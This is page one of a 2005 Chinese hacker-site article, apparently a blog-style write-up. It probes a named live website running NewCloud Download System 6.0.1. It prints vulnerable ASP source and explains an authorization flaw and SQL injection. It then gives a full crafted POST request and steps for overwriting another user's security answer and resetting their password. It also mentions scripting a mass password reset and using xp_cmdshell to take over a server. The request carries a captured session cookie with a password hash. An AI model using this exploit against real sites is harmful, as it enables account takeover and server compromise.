您的位置:积木首页 >> 黑客技术频道 >> 病毒漏洞 >> 正文:
标题:对江苏黑客联盟的安全小析
时间:2005-8-12 来源:不详 浏览数:
=============================================written by 大蝉============= 最近学习紧张,由于马上高三了,学校狂补课,哎…苦啊,好不容易有机会打开电脑,发现去年苦心积累的SHELL基本全部失效了,555555…只好随便瞎逛了,随便翻翻网页,看到一个叫“江苏黑客联盟”(www.8vb.com)的网站,哈,我们省也有自己的黑客网拉?!进去看看,恩,更新还行,于是小小的安全检查,有些结论,现记录如下,由于本人水平较低,错误甚多,欢迎大虾指正。QQ:271607603  ^_^   大致看了一下,是个没见过的整站,来看看到底是什么整站,扫到后台(/admin/login.asp),随便输个密码进去,提示错误,同时页低出现http://www.newasp.net/的连接,进入链接,发现整站叫 NewCloud Download System Version 6.0.1 ,下载下来,由于时间不多,随便挑了3个asp,大致浏览了一下,search.asp过滤中规中举,没有什么问题,但是看到updateinfo.asp和 sendpass.asp的时候发现了问题,updateinfo.asp中的问题代码如下:   updateinfo.asp: ……………………… ………………………. Private Sub modify()        Call chkmodify        If Founderr = False Then               SQL = "select * from [NC_user] where username='" & Request("username") & "' and userid=" & Request("userid")               Rs.Open SQL, conn, 1, 3               If Rs.bof And Rs.EOF Then                      Response.Write "Sorry!没有找到此用户信息信息。"               Else                      Rs("usermail") = Request.Form("usermail")                      Rs("postcode") = Request.Form("postcode")                      Rs("question") = Request.Form("question")                      Rs("oicq") = Trim(Request.Form("oicq"))                      Rs("truename") = Request.Form("truename")                      Rs("usertel") = Request.Form("usertel")                      Rs("address") = Trim(Request.Form("address"))                      If Request.Form("answer") <> "" Then                             Rs("answer") = NC_Encode.md5(Request.Form("answer"))                      End If                      Rs.Update               End If               Rs.Close               Set Rs = Nothing               Response.Write ("<script>alert('您的资料修改成功!\n\n请记住您的新用户资料');javascript:history.back(1)</script>")               Response.End        End If End Sub …………………………….. ……………………………..   其中SQL = "select * from [NC_user] where username='" & Request("username") & "' and userid=" & Request("userid") 简简单单的考”username”和”userid”来判断要updata的位置,没有和passwrod比较,也没有和当前用户比较,这样我们就可以随意构造语句,填入任意用户的”username”和”userid”就可以改他的资料。再看sendpass.asp中的代码   sendpass.asp: ……………………………… ………………………………. Private Sub step2()        If Request("username") = "" Then               Founderr = True               Errmsg = Errmsg + "请输入您的用户名。"               Exit Sub        Else               UserName = Replace(Request("username"), "'", "")        End If        If Newasp.checkpost = False Then               Errmsg = Errmsg + "您提交的数据不合法,请不要从外部提交发言。"               Founderr = True               Exit Sub        End If        If Request("answer") = "" Then               Founderr = True               Errmsg = Errmsg + "请输入您的问题答案。"               Exit Sub        Else               Answer = NC_Encode.md5(Trim(Request("answer")))        End If        Set Rs = Newasp.Execute("select * from NC_User where username = '" & UserName & "' and answer = '" & Answer & "'")        If Rs.EOF And Rs.bof Then               Founderr = True               Errmsg = Errmsg + "您输入的问题答案不正确,请重新输入。"               Exit Sub        Else ………………………………… ………………………………… 由上面的代码可以看出,只要username和answer 与表中内容相符,就可以更改任意用户密码,username我们可以轻松得到,而anserer我们也可以通过updateinfo.asp的漏洞更改成自己想要得answer ,这样我们有了任意用户的username 和 answer 就可以更改任意用户的密码。具体利用方法是先注册登陆,然后向服务器提交:   POST /updateinfo.asp?action=save HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Referer: http://www.8vb.com/updateinfo.asp Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322) Host: www.8vb.com Content-Length: 196 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDQSBDATCD=OHILHJDBEJMBNLBAOGKOHEPJ; cc_6_visited_site_8vb=1; www%2E8vb%2Ecom%2F=grade=1&password=03150e23d1c6ca01&userid=1550&username=usualwyy   username=******&userid=****&truename=wyywyy&usermail=dfger@dsafg.dh&question=wyy&answer=***&usertel=2134363&oicq=&postcode=5325235&address=%C1%AA%CF%B5%B5%D8%D6%B7&Submit=%C1%A2%BC%B4%D0%DE%B8%C4   Cookie是自己截取的,后面三处*号,中填上要对方username  userid 和你构造的answer,然后到sendpass.asp中填上对方username和刚才构造的answer就可以更改对方的密码了。 由于在这个整站中用户全限并不高,所以这个漏洞并不会对服务器产生大的影响,但是我们可以轻松些个脚本,换掉所有用户的密码,这样我想管理员可能会很郁闷 ^_^。这个漏洞虽然不是高危,但是不能不说是一个安全隐患,万一NewCloud Download System下个版本里多了个论坛,用户权限提高了,那样危险就大了。 updateinfo.asp还有个漏洞,就是”userid”没用经过任何过滤就放到SQL语句中判断,并且userid周围也没有’,我们可以对其进行注入,由于”江苏黑客联盟”用的是access,所以用处不大,或许可以猜猜密码,但是如果是SQL问题就比较严重了,一个XP_cmdshell轻松搞定服务器。 再看softessay.asp, softessay.asp: …………………….. …………………….. If request("action") = "savessay" Then        Dim EssayID        EssayID = request("id")        If CInt(Newasp.Setting(38)) = 1 Then               If request.Cookies("Essay_"&EssayID) = "newaspEssay_" &EssayID Then Response.Write ("<script>alert('对不起!你已经参与过评论。');javascript:history.back(1)</script>")               Response.End               response.Cookies("Essay_"&EssayID) = "newaspEssay_" &EssayID               response.Cookies("Essay_"&EssayID).expires = Date + 365               If Len(Request.Form("content")) > CLng(Newasp.TempSet(7)) Then Response.Write ("<script>alert('对不起!评论字符超过了限制。');javascript:history.back(1)</script>")               Response.End               sql = "select * from NC_SoftEssay where (ID is null)"               rs.Open sql, conn, 1, 3               rs.addnew               rs("SoftID") = softid               rs("UserName") = Newasp.HTMLEncode(Trim(request.Form("UserName")))   

[1] [2] 下一页


(责任编辑:笑虎)
最近更新
今日推荐
热点文章